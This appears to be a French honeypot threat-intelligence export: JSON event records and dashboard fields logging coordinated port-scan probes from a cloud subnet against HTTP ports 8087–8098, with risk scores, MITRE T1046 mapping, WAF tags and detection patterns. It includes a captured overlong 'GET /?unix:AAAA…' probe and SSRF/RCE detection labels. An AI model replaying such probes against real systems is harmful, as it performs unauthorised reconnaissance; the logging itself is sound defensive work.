"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "155087d52fbd3a92c10f7c6614228f95e3ccd117",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8098,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)",
"target_port_label": "8098 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 25,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 24
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8098,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +24",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8098,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8098\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8098 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +24 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8098"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 4,
"port_scan_ports_sample": [
8085,
8087,
8089,
8098
],
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"http-alt-8005",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 24,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:53 UTC
TCP
8089 · HTTP
Scan de ports
port scan syn · via HTTP:8089 · (reconnaissance)
Élevée
Moyen · 46
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
Protocole
GET /
Émulateur
HTTP
WAF
7
Recommandation
Surveiller
Tags
950649:query-overlong
950734:sap-sapcontrol-path
http_long_target
http_no_ua
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8089
Chemin / cible
/
Pourquoi cette classification : Tags WAF: query-overlong, sap-sapcontrol-path · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 46
Confiance : Confiance 100 % — 2 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Ligne de requête
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
User-Agent
—
Règles WAF
query-overlong
sap-sapcontrol-path
Payload (extrait)
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Requête brute (extrait)
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 0,
"http_query_params": 1,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": null,
"http_target_hash": "dd772a37bf9573f090ff5f265b2085d35ca1b53a",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 0.03609578052002148,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 36,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 10,
"risk_boost": 0,
"risk_granularity": 6.7,
"risk_breakdown": {
"waf": 36,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 10
},
"risk_score": 46,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "daaba76bce010b295976341cc15a7759df3557b7",
"event_fingerprint": "803cb7c387e2d1bcbc01c0b0d79901482a8faf0f",
"classification_reason": "Tags WAF: query-overlong, sap-sapcontrol-path \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"confidence_breakdown": {
"waf": 36,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 10,
"risk_score": 46,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "8fc7a17835a96b90d772eb352a3f3e89",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8089,
"service": "http",
"service_name": "http",
"risk_score": 46
},
"method": "GET",
"path": "\/",
"query_string": "unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"waf_tags": [
"950649:query-overlong",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"query-overlong",
"sap-sapcontrol-path"
],
"request_line": "GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"payload_snippet": "GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"evidence": {
"method": "GET",
"path": "\/",
"query_string": "unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"waf_tags": [
"950649:query-overlong",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"query-overlong",
"sap-sapcontrol-path"
],
"request_line": "GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"request_sample": "GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"payload_snippet": "GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"classification_reason": "Tags WAF: query-overlong, sap-sapcontrol-path \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "29e78123b5d6a4f70154ae6e8a496925686a6b3a",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u2026",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 2 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Tags WAF: query-overlong, sap-sapcontrol-path \u00b7 confiance 100%",
"classification_reason_label_fr": "Tags WAF: query-overlong, sap-sapcontrol-path \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 46\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 36,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 10,
"risk_score": 46,
"correlation_boost": 18
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 46,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u2026",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 2 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 36 \u00b7 Bonus corr\u00e9lation +18 \u00b7 2 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"http-alt-8005",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"950649:query-overlong",
"950734:sap-sapcontrol-path",
"http_long_target",
"http_no_ua",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:53 UTC
TCP
8087 · HTTP
Scan de ports
port scan syn · via HTTP:8087 · (reconnaissance)
Élevée
Moyen · 57
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Multi-protocole corrélé (5 min)
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8087
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +24
Risque capteur
Moyen
· 57
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8087
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8087 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "bffc6ea8368887e7cb3af75dc9112d32bf7019d4",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.399326288583574,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 57,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "ac25cfe440c12f4ccb2faeb3aa29909fe10b0e2e",
"event_fingerprint": "f101b5a9d5b093a78295a25d33084634d7d418d5",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 57,
"correlation_boost": 24
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "eaf58439a7d0c66a21e9a22ef166d431",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 57
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
